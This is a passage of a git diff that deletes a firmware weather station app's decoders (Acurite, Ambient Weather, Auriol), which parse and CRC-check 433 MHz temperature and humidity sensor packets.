ws_protocol_acurite_606tx_const.te_delta) { - if((DURATION_DIFF(duration, ws_protocol_acurite_606tx_const.te_short) < - ws_protocol_acurite_606tx_const.te_delta) || - (duration > ws_protocol_acurite_606tx_const.te_long * 3)) { - //Found syncPostfix - instance->decoder.parser_step = Acurite_606TXDecoderStepReset; - if((instance->decoder.decode_count_bit == - ws_protocol_acurite_606tx_const.min_count_bit_for_found) && - ws_protocol_acurite_606tx_check(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_acurite_606tx_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } else if( - DURATION_DIFF(duration, ws_protocol_acurite_606tx_const.te_long) < - ws_protocol_acurite_606tx_const.te_delta * 2) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = Acurite_606TXDecoderStepSaveDuration; - } else if( - DURATION_DIFF(duration, ws_protocol_acurite_606tx_const.te_long * 2) < - ws_protocol_acurite_606tx_const.te_delta * 4) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = Acurite_606TXDecoderStepSaveDuration; - } else { - instance->decoder.parser_step = Acurite_606TXDecoderStepReset; - } - } else { - instance->decoder.parser_step = Acurite_606TXDecoderStepReset; - } - } else { - instance->decoder.parser_step = Acurite_606TXDecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_acurite_606tx_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderAcurite_606TX* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_acurite_606tx_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderAcurite_606TX* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_acurite_606tx_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderAcurite_606TX* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, - flipper_format, - ws_protocol_acurite_606tx_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_acurite_606tx_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderAcurite_606TX* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/acurite_606tx.h b/applications/external/weather_station/protocols/acurite_606tx.h deleted file mode 100644 index 15b6d1eb5..000000000 --- a/applications/external/weather_station/protocols/acurite_606tx.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_ACURITE_606TX_NAME "Acurite-606TX" - -typedef struct WSProtocolDecoderAcurite_606TX WSProtocolDecoderAcurite_606TX; -typedef struct WSProtocolEncoderAcurite_606TX WSProtocolEncoderAcurite_606TX; - -extern const SubGhzProtocolDecoder ws_protocol_acurite_606tx_decoder; -extern const SubGhzProtocolEncoder ws_protocol_acurite_606tx_encoder; -extern const SubGhzProtocol ws_protocol_acurite_606tx; - -/** - * Allocate WSProtocolDecoderAcurite_606TX. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderAcurite_606TX* pointer to a WSProtocolDecoderAcurite_606TX instance - */ -void* ws_protocol_decoder_acurite_606tx_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderAcurite_606TX. - * @param context Pointer to a WSProtocolDecoderAcurite_606TX instance - */ -void ws_protocol_decoder_acurite_606tx_free(void* context); - -/** - * Reset decoder WSProtocolDecoderAcurite_606TX. - * @param context Pointer to a WSProtocolDecoderAcurite_606TX instance - */ -void ws_protocol_decoder_acurite_606tx_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderAcurite_606TX instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_acurite_606tx_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderAcurite_606TX instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_acurite_606tx_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderAcurite_606TX. - * @param context Pointer to a WSProtocolDecoderAcurite_606TX instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_acurite_606tx_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderAcurite_606TX. - * @param context Pointer to a WSProtocolDecoderAcurite_606TX instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_acurite_606tx_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderAcurite_606TX instance - * @param output Resulting text - */ -void ws_protocol_decoder_acurite_606tx_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/acurite_609txc.c b/applications/external/weather_station/protocols/acurite_609txc.c deleted file mode 100644 index 853b78446..000000000 --- a/applications/external/weather_station/protocols/acurite_609txc.c +++ /dev/null @@ -1,239 +0,0 @@ -#include "acurite_609txc.h" - -#define TAG "WSProtocolAcurite_609TXC" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/5bef4e43133ac4c0e2d18d36f87c52b4f9458453/src/devices/acurite.c#L216 - * - * 0000 1111 | 0011 0000 | 0101 1100 | 0000 0000 | 1110 0111 - * iiii iiii | buuu tttt | tttt tttt | hhhh hhhh | cccc cccc - * - i: identification; changes on battery switch - * - c: checksum (sum of previous by bytes) - * - u: unknown - * - b: battery low; flag to indicate low battery voltage - * - t: temperature; in °C * 10, 12 bit with complement - * - h: humidity - * - */ - -static const SubGhzBlockConst ws_protocol_acurite_609txc_const = { - .te_short = 500, - .te_long = 1000, - .te_delta = 150, - .min_count_bit_for_found = 40, -}; - -struct WSProtocolDecoderAcurite_609TXC { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; -}; - -struct WSProtocolEncoderAcurite_609TXC { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -typedef enum { - Acurite_609TXCDecoderStepReset = 0, - Acurite_609TXCDecoderStepSaveDuration, - Acurite_609TXCDecoderStepCheckDuration, -} Acurite_609TXCDecoderStep; - -const SubGhzProtocolDecoder ws_protocol_acurite_609txc_decoder = { - .alloc = ws_protocol_decoder_acurite_609txc_alloc, - .free = ws_protocol_decoder_acurite_609txc_free, - - .feed = ws_protocol_decoder_acurite_609txc_feed, - .reset = ws_protocol_decoder_acurite_609txc_reset, - - .get_hash_data = ws_protocol_decoder_acurite_609txc_get_hash_data, - .serialize = ws_protocol_decoder_acurite_609txc_serialize, - .deserialize = ws_protocol_decoder_acurite_609txc_deserialize, - .get_string = ws_protocol_decoder_acurite_609txc_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_acurite_609txc_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_acurite_609txc = { - .name = WS_PROTOCOL_ACURITE_609TXC_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_acurite_609txc_decoder, - .encoder = &ws_protocol_acurite_609txc_encoder, -}; - -void* ws_protocol_decoder_acurite_609txc_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderAcurite_609TXC* instance = malloc(sizeof(WSProtocolDecoderAcurite_609TXC)); - instance->base.protocol = &ws_protocol_acurite_609txc; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_acurite_609txc_free(void* context) { - furi_assert(context); - WSProtocolDecoderAcurite_609TXC* instance = context; - free(instance); -} - -void ws_protocol_decoder_acurite_609txc_reset(void* context) { - furi_assert(context); - WSProtocolDecoderAcurite_609TXC* instance = context; - instance->decoder.parser_step = Acurite_609TXCDecoderStepReset; -} - -static bool ws_protocol_acurite_609txc_check(WSProtocolDecoderAcurite_609TXC* instance) { - if(!instance->decoder.decode_data) return false; - uint8_t crc = (uint8_t)(instance->decoder.decode_data >> 32) + - (uint8_t)(instance->decoder.decode_data >> 24) + - (uint8_t)(instance->decoder.decode_data >> 16) + - (uint8_t)(instance->decoder.decode_data >> 8); - return (crc == (instance->decoder.decode_data & 0xFF)); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_acurite_609txc_remote_controller(WSBlockGeneric* instance) { - instance->id = (instance->data >> 32) & 0xFF; - instance->battery_low = (instance->data >> 31) & 1; - - instance->channel = WS_NO_CHANNEL; - - // Temperature in Celsius is encoded as a 12 bit integer value - // multiplied by 10 using the 4th - 6th nybbles (bytes 1 & 2) - // negative values are recovered by sign extend from int16_t. - int16_t temp_raw = - (int16_t)(((instance->data >> 12) & 0xf000) | ((instance->data >> 16) << 4)); - instance->temp = (temp_raw >> 4) * 0.1f; - instance->humidity = (instance->data >> 8) & 0xff; - instance->btn = WS_NO_BTN; -} - -void ws_protocol_decoder_acurite_609txc_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderAcurite_609TXC* instance = context; - - switch(instance->decoder.parser_step) { - case Acurite_609TXCDecoderStepReset: - if((!level) && (DURATION_DIFF(duration, ws_protocol_acurite_609txc_const.te_short * 17) < - ws_protocol_acurite_609txc_const.te_delta * 8)) { - //Found syncPrefix - instance->decoder.parser_step = Acurite_609TXCDecoderStepSaveDuration; - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } - break; - - case Acurite_609TXCDecoderStepSaveDuration: - if(level) { - instance->decoder.te_last = duration; - instance->decoder.parser_step = Acurite_609TXCDecoderStepCheckDuration; - } else { - instance->decoder.parser_step = Acurite_609TXCDecoderStepReset; - } - break; - - case Acurite_609TXCDecoderStepCheckDuration: - if(!level) { - if(DURATION_DIFF(instance->decoder.te_last, ws_protocol_acurite_609txc_const.te_short) < - ws_protocol_acurite_609txc_const.te_delta) { - if((DURATION_DIFF(duration, ws_protocol_acurite_609txc_const.te_short) < - ws_protocol_acurite_609txc_const.te_delta) || - (duration > ws_protocol_acurite_609txc_const.te_long * 3)) { - //Found syncPostfix - instance->decoder.parser_step = Acurite_609TXCDecoderStepReset; - if((instance->decoder.decode_count_bit == - ws_protocol_acurite_609txc_const.min_count_bit_for_found) && - ws_protocol_acurite_609txc_check(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = instance->decoder.decode_count_bit; - ws_protocol_acurite_609txc_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - } - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } else if( - DURATION_DIFF(duration, ws_protocol_acurite_609txc_const.te_long) < - ws_protocol_acurite_609txc_const.te_delta * 2) { - subghz_protocol_blocks_add_bit(&instance->decoder, 0); - instance->decoder.parser_step = Acurite_609TXCDecoderStepSaveDuration; - } else if( - DURATION_DIFF(duration, ws_protocol_acurite_609txc_const.te_long * 2) < - ws_protocol_acurite_609txc_const.te_delta * 4) { - subghz_protocol_blocks_add_bit(&instance->decoder, 1); - instance->decoder.parser_step = Acurite_609TXCDecoderStepSaveDuration; - } else { - instance->decoder.parser_step = Acurite_609TXCDecoderStepReset; - } - } else { - instance->decoder.parser_step = Acurite_609TXCDecoderStepReset; - } - } else { - instance->decoder.parser_step = Acurite_609TXCDecoderStepReset; - } - break; - } -} - -uint8_t ws_protocol_decoder_acurite_609txc_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderAcurite_609TXC* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_acurite_609txc_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderAcurite_609TXC* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_acurite_609txc_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderAcurite_609TXC* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, - flipper_format, - ws_protocol_acurite_609txc_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_acurite_609txc_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderAcurite_609TXC* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 40), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/acurite_609txc.h b/applications/external/weather_station/protocols/acurite_609txc.h deleted file mode 100644 index 3e3b9cee8..000000000 --- a/applications/external/weather_station/protocols/acurite_609txc.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_ACURITE_609TXC_NAME "Acurite-609TXC" - -typedef struct WSProtocolDecoderAcurite_609TXC WSProtocolDecoderAcurite_609TXC; -typedef struct WSProtocolEncoderAcurite_609TXC WSProtocolEncoderAcurite_609TXC; - -extern const SubGhzProtocolDecoder ws_protocol_acurite_609txc_decoder; -extern const SubGhzProtocolEncoder ws_protocol_acurite_609txc_encoder; -extern const SubGhzProtocol ws_protocol_acurite_609txc; - -/** - * Allocate WSProtocolDecoderAcurite_609TXC. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderAcurite_609TXC* pointer to a WSProtocolDecoderAcurite_609TXC instance - */ -void* ws_protocol_decoder_acurite_609txc_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderAcurite_609TXC. - * @param context Pointer to a WSProtocolDecoderAcurite_609TXC instance - */ -void ws_protocol_decoder_acurite_609txc_free(void* context); - -/** - * Reset decoder WSProtocolDecoderAcurite_609TXC. - * @param context Pointer to a WSProtocolDecoderAcurite_609TXC instance - */ -void ws_protocol_decoder_acurite_609txc_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderAcurite_609TXC instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_acurite_609txc_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderAcurite_609TXC instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_acurite_609txc_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderAcurite_609TXC. - * @param context Pointer to a WSProtocolDecoderAcurite_609TXC instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_acurite_609txc_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderAcurite_609TXC. - * @param context Pointer to a WSProtocolDecoderAcurite_609TXC instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_acurite_609txc_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderAcurite_609TXC instance - * @param output Resulting text - */ -void ws_protocol_decoder_acurite_609txc_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/ambient_weather.c b/applications/external/weather_station/protocols/ambient_weather.c deleted file mode 100644 index 588a7f82a..000000000 --- a/applications/external/weather_station/protocols/ambient_weather.c +++ /dev/null @@ -1,268 +0,0 @@ -#include "ambient_weather.h" -#include - -#define TAG "WSProtocolAmbient_Weather" - -/* - * Help - * https://github.com/merbanan/rtl_433/blob/master/src/devices/ambient_weather.c - * - * Decode Ambient Weather F007TH, F012TH, TF 30.3208.02, SwitchDoc F016TH. - * Devices supported: - * - Ambient Weather F007TH Thermo-Hygrometer. - * - Ambient Weather F012TH Indoor/Display Thermo-Hygrometer. - * - TFA senders 30.3208.02 from the TFA "Klima-Monitor" 30.3054, - * - SwitchDoc Labs F016TH. - * This decoder handles the 433mhz/868mhz thermo-hygrometers. - * The 915mhz (WH*) family of devices use different modulation/encoding. - * Byte 0 Byte 1 Byte 2 Byte 3 Byte 4 Byte 5 - * xxxxMMMM IIIIIIII BCCCTTTT TTTTTTTT HHHHHHHH MMMMMMMM - * - x: Unknown 0x04 on F007TH/F012TH - * - M: Model Number?, 0x05 on F007TH/F012TH/SwitchDocLabs F016TH - * - I: ID byte (8 bits), volatie, changes at power up, - * - B: Battery Low - * - C: Channel (3 bits 1-8) - F007TH set by Dip switch, F012TH soft setting - * - T: Temperature 12 bits - Fahrenheit * 10 + 400 - * - H: Humidity (8 bits) - * - M: Message integrity check LFSR Digest-8, gen 0x98, key 0x3e, init 0x64 - * - * three repeats without gap - * full preamble is 0x00145 (the last bits might not be fixed, e.g. 0x00146) - * and on decoding also 0xffd45 - */ - -#define AMBIENT_WEATHER_PACKET_HEADER_1 0xFFD440000000000 //0xffd45 .. 0xffd46 -#define AMBIENT_WEATHER_PACKET_HEADER_2 0x001440000000000 //0x00145 .. 0x00146 -#define AMBIENT_WEATHER_PACKET_HEADER_MASK 0xFFFFC0000000000 - -static const SubGhzBlockConst ws_protocol_ambient_weather_const = { - .te_short = 500, - .te_long = 1000, - .te_delta = 120, - .min_count_bit_for_found = 48, -}; - -struct WSProtocolDecoderAmbient_Weather { - SubGhzProtocolDecoderBase base; - - SubGhzBlockDecoder decoder; - WSBlockGeneric generic; - ManchesterState manchester_saved_state; - uint16_t header_count; -}; - -struct WSProtocolEncoderAmbient_Weather { - SubGhzProtocolEncoderBase base; - - SubGhzProtocolBlockEncoder encoder; - WSBlockGeneric generic; -}; - -const SubGhzProtocolDecoder ws_protocol_ambient_weather_decoder = { - .alloc = ws_protocol_decoder_ambient_weather_alloc, - .free = ws_protocol_decoder_ambient_weather_free, - - .feed = ws_protocol_decoder_ambient_weather_feed, - .reset = ws_protocol_decoder_ambient_weather_reset, - - .get_hash_data = ws_protocol_decoder_ambient_weather_get_hash_data, - .serialize = ws_protocol_decoder_ambient_weather_serialize, - .deserialize = ws_protocol_decoder_ambient_weather_deserialize, - .get_string = ws_protocol_decoder_ambient_weather_get_string, -}; - -const SubGhzProtocolEncoder ws_protocol_ambient_weather_encoder = { - .alloc = NULL, - .free = NULL, - - .deserialize = NULL, - .stop = NULL, - .yield = NULL, -}; - -const SubGhzProtocol ws_protocol_ambient_weather = { - .name = WS_PROTOCOL_AMBIENT_WEATHER_NAME, - .type = SubGhzProtocolWeatherStation, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 | - SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, - - .decoder = &ws_protocol_ambient_weather_decoder, - .encoder = &ws_protocol_ambient_weather_encoder, -}; - -void* ws_protocol_decoder_ambient_weather_alloc(SubGhzEnvironment* environment) { - UNUSED(environment); - WSProtocolDecoderAmbient_Weather* instance = malloc(sizeof(WSProtocolDecoderAmbient_Weather)); - instance->base.protocol = &ws_protocol_ambient_weather; - instance->generic.protocol_name = instance->base.protocol->name; - return instance; -} - -void ws_protocol_decoder_ambient_weather_free(void* context) { - furi_assert(context); - WSProtocolDecoderAmbient_Weather* instance = context; - free(instance); -} - -void ws_protocol_decoder_ambient_weather_reset(void* context) { - furi_assert(context); - WSProtocolDecoderAmbient_Weather* instance = context; - manchester_advance( - instance->manchester_saved_state, - ManchesterEventReset, - &instance->manchester_saved_state, - NULL); -} - -static bool ws_protocol_ambient_weather_check_crc(WSProtocolDecoderAmbient_Weather* instance) { - uint8_t msg[] = { - instance->decoder.decode_data >> 40, - instance->decoder.decode_data >> 32, - instance->decoder.decode_data >> 24, - instance->decoder.decode_data >> 16, - instance->decoder.decode_data >> 8}; - - uint8_t crc = subghz_protocol_blocks_lfsr_digest8(msg, 5, 0x98, 0x3e) ^ 0x64; - return (crc == (uint8_t)(instance->decoder.decode_data & 0xFF)); -} - -/** - * Analysis of received data - * @param instance Pointer to a WSBlockGeneric* instance - */ -static void ws_protocol_ambient_weather_remote_controller(WSBlockGeneric* instance) { - instance->id = (instance->data >> 32) & 0xFF; - instance->battery_low = (instance->data >> 31) & 1; - instance->channel = ((instance->data >> 28) & 0x07) + 1; - instance->temp = - locale_fahrenheit_to_celsius(((float)((instance->data >> 16) & 0x0FFF) - 400.0f) / 10.0f); - instance->humidity = (instance->data >> 8) & 0xFF; - instance->btn = WS_NO_BTN; - - // ToDo maybe it won't be needed - /* - Sanity checks to reduce false positives and other bad data - Packets with Bad data often pass the MIC check. - - humidity > 100 (such as 255) and - - temperatures > 140 F (such as 369.5 F and 348.8 F - Specs in the F007TH and F012TH manuals state the range is: - - Temperature: -40 to 140 F - - Humidity: 10 to 99% - @todo - sanity check b[0] "model number" - - 0x45 - F007TH and F012TH - - 0x?5 - SwitchDocLabs F016TH temperature sensor (based on comment b[0] & 0x0f == 5) - - ? - TFA 30.3208.02 - if (instance->humidity < 0 || instance->humidity > 100) { - ERROR; - } - - if (instance->temp < -40.0 || instance->temp > 140.0) { - ERROR; - } - */ -} - -void ws_protocol_decoder_ambient_weather_feed(void* context, bool level, uint32_t duration) { - furi_assert(context); - WSProtocolDecoderAmbient_Weather* instance = context; - - ManchesterEvent event = ManchesterEventReset; - if(!level) { - if(DURATION_DIFF(duration, ws_protocol_ambient_weather_const.te_short) < - ws_protocol_ambient_weather_const.te_delta) { - event = ManchesterEventShortLow; - } else if( - DURATION_DIFF(duration, ws_protocol_ambient_weather_const.te_long) < - ws_protocol_ambient_weather_const.te_delta * 2) { - event = ManchesterEventLongLow; - } - } else { - if(DURATION_DIFF(duration, ws_protocol_ambient_weather_const.te_short) < - ws_protocol_ambient_weather_const.te_delta) { - event = ManchesterEventShortHigh; - } else if( - DURATION_DIFF(duration, ws_protocol_ambient_weather_const.te_long) < - ws_protocol_ambient_weather_const.te_delta * 2) { - event = ManchesterEventLongHigh; - } - } - if(event != ManchesterEventReset) { - bool data; - bool data_ok = manchester_advance( - instance->manchester_saved_state, event, &instance->manchester_saved_state, &data); - - if(data_ok) { - instance->decoder.decode_data = (instance->decoder.decode_data << 1) | !data; - } - - if(((instance->decoder.decode_data & AMBIENT_WEATHER_PACKET_HEADER_MASK) == - AMBIENT_WEATHER_PACKET_HEADER_1) || - ((instance->decoder.decode_data & AMBIENT_WEATHER_PACKET_HEADER_MASK) == - AMBIENT_WEATHER_PACKET_HEADER_2)) { - if(ws_protocol_ambient_weather_check_crc(instance)) { - instance->generic.data = instance->decoder.decode_data; - instance->generic.data_count_bit = - ws_protocol_ambient_weather_const.min_count_bit_for_found; - ws_protocol_ambient_weather_remote_controller(&instance->generic); - if(instance->base.callback) - instance->base.callback(&instance->base, instance->base.context); - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - } - } - } else { - instance->decoder.decode_data = 0; - instance->decoder.decode_count_bit = 0; - manchester_advance( - instance->manchester_saved_state, - ManchesterEventReset, - &instance->manchester_saved_state, - NULL); - } -} - -uint8_t ws_protocol_decoder_ambient_weather_get_hash_data(void* context) { - furi_assert(context); - WSProtocolDecoderAmbient_Weather* instance = context; - return subghz_protocol_blocks_get_hash_data( - &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1); -} - -SubGhzProtocolStatus ws_protocol_decoder_ambient_weather_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset) { - furi_assert(context); - WSProtocolDecoderAmbient_Weather* instance = context; - return ws_block_generic_serialize(&instance->generic, flipper_format, preset); -} - -SubGhzProtocolStatus - ws_protocol_decoder_ambient_weather_deserialize(void* context, FlipperFormat* flipper_format) { - furi_assert(context); - WSProtocolDecoderAmbient_Weather* instance = context; - return ws_block_generic_deserialize_check_count_bit( - &instance->generic, - flipper_format, - ws_protocol_ambient_weather_const.min_count_bit_for_found); -} - -void ws_protocol_decoder_ambient_weather_get_string(void* context, FuriString* output) { - furi_assert(context); - WSProtocolDecoderAmbient_Weather* instance = context; - furi_string_printf( - output, - "%s %dbit\r\n" - "Key:0x%lX%08lX\r\n" - "Sn:0x%lX Ch:%d Bat:%d\r\n" - "Temp:%3.1f C Hum:%d%%", - instance->generic.protocol_name, - instance->generic.data_count_bit, - (uint32_t)(instance->generic.data >> 32), - (uint32_t)(instance->generic.data), - instance->generic.id, - instance->generic.channel, - instance->generic.battery_low, - (double)instance->generic.temp, - instance->generic.humidity); -} diff --git a/applications/external/weather_station/protocols/ambient_weather.h b/applications/external/weather_station/protocols/ambient_weather.h deleted file mode 100644 index 1694403cd..000000000 --- a/applications/external/weather_station/protocols/ambient_weather.h +++ /dev/null @@ -1,80 +0,0 @@ -#pragma once - -#include - -#include -#include -#include -#include "ws_generic.h" -#include - -#define WS_PROTOCOL_AMBIENT_WEATHER_NAME "Ambient_Weather" - -typedef struct WSProtocolDecoderAmbient_Weather WSProtocolDecoderAmbient_Weather; -typedef struct WSProtocolEncoderAmbient_Weather WSProtocolEncoderAmbient_Weather; - -extern const SubGhzProtocolDecoder ws_protocol_ambient_weather_decoder; -extern const SubGhzProtocolEncoder ws_protocol_ambient_weather_encoder; -extern const SubGhzProtocol ws_protocol_ambient_weather; - -/** - * Allocate WSProtocolDecoderAmbient_Weather. - * @param environment Pointer to a SubGhzEnvironment instance - * @return WSProtocolDecoderAmbient_Weather* pointer to a WSProtocolDecoderAmbient_Weather instance - */ -void* ws_protocol_decoder_ambient_weather_alloc(SubGhzEnvironment* environment); - -/** - * Free WSProtocolDecoderAmbient_Weather. - * @param context Pointer to a WSProtocolDecoderAmbient_Weather instance - */ -void ws_protocol_decoder_ambient_weather_free(void* context); - -/** - * Reset decoder WSProtocolDecoderAmbient_Weather. - * @param context Pointer to a WSProtocolDecoderAmbient_Weather instance - */ -void ws_protocol_decoder_ambient_weather_reset(void* context); - -/** - * Parse a raw sequence of levels and durations received from the air. - * @param context Pointer to a WSProtocolDecoderAmbient_Weather instance - * @param level Signal level true-high false-low - * @param duration Duration of this level in, us - */ -void ws_protocol_decoder_ambient_weather_feed(void* context, bool level, uint32_t duration); - -/** - * Getting the hash sum of the last randomly received parcel. - * @param context Pointer to a WSProtocolDecoderAmbient_Weather instance - * @return hash Hash sum - */ -uint8_t ws_protocol_decoder_ambient_weather_get_hash_data(void* context); - -/** - * Serialize data WSProtocolDecoderAmbient_Weather. - * @param context Pointer to a WSProtocolDecoderAmbient_Weather instance - * @param flipper_format Pointer to a FlipperFormat instance - * @param preset The modulation on which the signal was received, SubGhzRadioPreset - * @return status - */ -SubGhzProtocolStatus ws_protocol_decoder_ambient_weather_serialize( - void* context, - FlipperFormat* flipper_format, - SubGhzRadioPreset* preset); - -/** - * Deserialize data WSProtocolDecoderAmbient_Weather. - * @param context Pointer to a WSProtocolDecoderAmbient_Weather instance - * @param flipper_format Pointer to a FlipperFormat instance - * @return status - */ -SubGhzProtocolStatus - ws_protocol_decoder_ambient_weather_deserialize(void* context, FlipperFormat* flipper_format); - -/** - * Getting a textual representation of the received data. - * @param context Pointer to a WSProtocolDecoderAmbient_Weather instance - * @param output Resulting text - */ -void ws_protocol_decoder_ambient_weather_get_string(void* context, FuriString* output); diff --git a/applications/external/weather_station/protocols/auriol_hg0601a.c b/applications/external/weather_station/protocols/auriol_hg0601a.c deleted file mode 100644 index 813fe1526..000000000 --- a/applications/external/weather_station/protocols/auriol_hg0601a.c +++ /dev/null @@ -1,248 +0,0 @@ -#include "auriol_hg0601a.h" - -#define TAG "WSProtocolAuriol_TH" - -/* - * -Auriol HG06061A-DCF-TX sensor. - -Data layout: - DDDDDDDD-B0-NN-TT-TTTTTTTTTT-CCCC-HHHHHHHH -Exmpl.: 11110100-10-01-00-0001001100-1111-01011101 - -- D: id, 8 bit -- B: where B is the battery status: 1=OK, 0=LOW, 1 bit -- 0: just zero :) -- N: NN is the channel: 00=CH1, 01=CH2, 11=CH3, 2bit -- T: temperature, 12 bit: 2's complement, scaled by 10 -- C: 4 bit: seems to be 0xf constantly, a separator between temp and humidity -- H: humidity sensor, humidity is 8 bits - - * The sensor sends 37 bits 10 times, - * the packets are ppm modulated (distance coding) with a pulse of ~500 us - * followed by a short gap of ~1000 us for a 0 bit or a long ~2000 us gap for a - * 1 bit, the sync gap is ~4000 us. - * - 